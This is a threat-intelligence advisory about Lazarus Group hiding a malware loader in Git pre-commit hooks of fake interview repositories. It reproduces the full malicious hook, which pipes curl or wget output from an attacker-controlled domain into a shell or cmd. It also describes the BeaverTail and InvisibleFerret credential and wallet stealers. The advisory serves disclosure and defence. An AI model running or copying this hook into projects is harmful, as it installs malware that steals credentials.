# Lazarus Group (DPRK) Hides BeaverTail / InvisibleFerret Loader in Git Hooks via precommit.vercel.app — Contagious Interview / TaskJacker Evolution (May 2026)

> DPRK-affiliated Lazarus Group operators behind the Contagious Interview and TaskJacker campaigns have moved their stage-2 loader into Git hooks (.githooks/pre-commit and .githooks/post-checkout). The hook fingerprints the OS via `uname -s`, then curls or wgets a per-platform shell payload from precommit.vercel.app that drops BeaverTail (JavaScript) and InvisibleFerret (Python) implants targeting developer credentials and crypto wallets. The trip-wire fires automatically when a candidate clones the fake "coding assessment" repo and tries to commit, evading both VS Code tasks.json mitigations and ordinary code review.

- **Published:** 2026-05-06T12:00:00Z
- **Last reviewed:** 2026-05-06T12:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0464
- **ID:** TL-2026-0464
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Actor:** Lazarus Group (North Korea)
- **Detections:** 9 · **IOCs:** 19 (full data via the Threadlinqs MCP server — Purple tier)

## Description

OpenSourceMalware (researcher 6mile) disclosed on 2026-05-05 that DPRK Lazarus Group has pivoted the second-stage loader of its Contagious Interview / TaskJacker developer-targeting campaign from `.vscode/tasks.json`, `package.json` postinstall scripts, and fake `.woff2` font files into Git hooks committed inside the cloned interview repository. The malicious file is `.githooks/pre-commit`, a short POSIX shell script that fingerprints the operating system via `uname -s` and then pulls a per-OS payload from a Vercel-hosted command-and-control server at `precommit.vercel.app`, piping it directly into a shell on macOS/Linux/Git-Bash and into `cmd.exe` on native Windows.

The full hook content (identical across multiple observed repositories, git blob SHA `3ebd9bb57d155cc7c3353660f54c153a094cdfbd`) is:

    #!/bin/sh
    uname_s="$(uname -s 2>/dev/null || echo unknown)"
    case "$uname_s" in
      Darwin)
        curl -s 'https://precommit.vercel.app/settings/mac?flag=5' | sh >/dev/null 2>&1
        exit 0
        ;;
      Linux)
        wget -qO- 'https://precommit.vercel.app/settings/linux?flag=5' | sh >/dev/null 2>&1
        exit 0
        ;;
      MINGW*|MSYS*|CYGWIN*)
        curl -s https://precommit.vercel.app/settings/windows?flag=5 | cmd >/dev/null 2>&1
        exit 0
        ;;
      *)
        exit 0
        ;;
    esac

The `flag=5` query parameter is consistent with prior Contagious Interview operator habits of embedding a numeric campaign / variant identifier into payload URLs to track which lure delivered the click. Output of the staged command is silently discarded with `>/dev/null 2>&1` and every branch ends with `exit 0`, ensuring the developer's `git commit` succeeds and the implant runs invisibly.

The domain `precommit.vercel.app` is itself a social-engineering layer: at a glance it reads like the official `pre-commit` framework's marketing site (`pre-commit.com`), but it is in fact an attacker-controlled free Vercel deployment that serves a per-path payload server the operators can stand up and tear down at will. OpenSourceMalware confirmed the same identical hook (matching git blob SHA) was committed to multiple GitHub repositories that follow the standard Contagious Interview lure pattern: DeFi / crypto-token themed projects, freshly created GitHub accounts, minimal commit history, and a coding task that requires the candidate to actually run code locally. The same actor was also observed using `.githooks/post-checkout` hooks, which fire on every branch change and are even nastier persistence than pre-commit.

Git hooks are an almost ideal stage-2 trigger for this actor. They are part of the legitimate developer workflow (Husky, lint-staged, the pre-commit framework), so a `.githooks/` directory raises zero suspicion. They run automatically the first time the candidate tries to fix the bug and commit — which is literally the task the fake recruiter assigned. Most candidates configure hooks via `git config core.hooksPath .githooks` (or a setup script does it for them) without inspecting the contents. And critically, this technique sidesteps VS Code entirely, evading Microsoft's recent hardening of `tasks.json` auto-execute behavior.

The end goal is unchanged from prior Contagious Interview waves: BeaverTail JavaScript stealer (browser cookies, MetaMask / Phantom / Coinbase / TronLink wallet exfiltration, keychain) followed by InvisibleFerret Python RAT (persistent C2, command execution, credential and source-code exfiltration). The blast radius is severe — a compromised developer host yields private repository access, signing keys, SSH keys, AWS / GCP CLI credentials, npm / PyPI publish tokens, and CI/CD secrets, providing pivot points for downstream supply-chain compromise of the victim's employer and any open-source projects they maintain. Defenders should hunt repositories matching the GitHub code-search query `path:**/pre-commit OR path:**/post-checkout content:"vercel.app"`, block the C2 domain, and treat any interview-process repository as hostile until proven otherwise.

## MITRE ATT&CK

- T1583 Acquire Infrastructure
- T1583.006 Acquire Infrastructure: Web Services
- T1585.001 Establish Accounts: Social Media Accounts
- T1587.001 Develop Capabilities: Malware
- T1608.001 Stage Capabilities: Upload Malware
- T1566.003 Phishing: Spearphishing via Service
- T1195.002 Supply Chain Compromise: Compromise Software Supply Chain
- T1059.004 Command and Scripting Interpreter: Unix Shell
- T1059.003 Command and Scripting Interpreter: Windows Command Shell
- T1204.002 User Execution: Malicious File
- T1204.004 User Execution: Malicious Copy and Paste
- T1546 Event Triggered Execution
- T1037 Boot or Logon Initialization Scripts
- T1564.001 Hide Artifacts: Hidden Files and Directories
- T1036.005 Masquerading: Match Legitimate Resource Name or Location
- T1027 Obfuscated Files or Information
- T1070.003 Indicator Removal: Clear Command History
- T1082 System Information Discovery
- T1555.003 Credentials from Password Stores: Credentials from Web Browsers
- T1555.001 Credentials from Password Stores: Keychain
- T1539 Steal Web Session Cookie
- T1552.004 Unsecured Credentials: Private Keys
- T1005 Data from Local System
- T1119 Automated Collection
- T1071.001 Application Layer Protocol: Web Protocols
- T1105 Ingress Tool Transfer
- T1102 Web Service
- T1102.001 Web Service: Dead Drop Resolver
- T1041 Exfiltration Over C2 Channel
- T1657 Financial Theft

## Sources

- [Lazarus Group Uses Git Hooks To Hide Malware (OpenSourceMalware, 6mile)](https://opensourcemalware.com/blog/dprk-git-hooks-malware)
- [Malpedia Library Entry — Lazarus Group Uses Git Hooks To Hide Malware](https://malpedia.caad.fkie.fraunhofer.de/library/1e58fd33-4c39-4bff-a4ce-f369b02fff99/)
- [Malpedia Family — js.beavertail (BeaverTail JavaScript stealer)](https://malpedia.caad.fkie.fraunhofer.de/details/js.beavertail)
- [Malpedia Family — py.invisibleferret (InvisibleFerret Python RAT)](https://malpedia.caad.fkie.fraunhofer.de/details/py.invisibleferret)
- [TasksJacker: Latest DPRK Attack Skips the Fake Interview and Goes Straight to Compromising GitHub Users (OpenSourceMalware)](https://opensourcemalware.com/blog/tasksjacker-blog-post)
- [PolinRider: DPRK Threat Actor That Compromised Hundreds of GitHub Repos Is Unmasked (OpenSourceMalware)](https://opensourcemalware.com/blog/polinrider-attack)
- [PolinRider Rides Again: North Korean Attack Expands Across GitHub (OpenSourceMalware)](https://opensourcemalware.com/blog/polinrider-rides-again)
- [New DPRK Contagious Interview Campaign: Fake Font Uses Malicious VSCode Fonts (OpenSourceMalware)](https://opensourcemalware.com/blog/contagious-code-fake-font)
- [Small Open-Source Maintainers Targeted by VS Code Tasks Malware (OpenSourceMalware)](https://opensourcemalware.com/blog/oss-maintainters-vscode-tasks-compromised)
- [Git Documentation — githooks(5)](https://git-scm.com/docs/githooks)
- [Git core.hooksPath configuration](https://git-scm.com/docs/git-config#Documentation/git-config.txt-corehooksPath)
- [MITRE ATT&CK — Lazarus Group (G0032)](https://attack.mitre.org/groups/G0032/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0464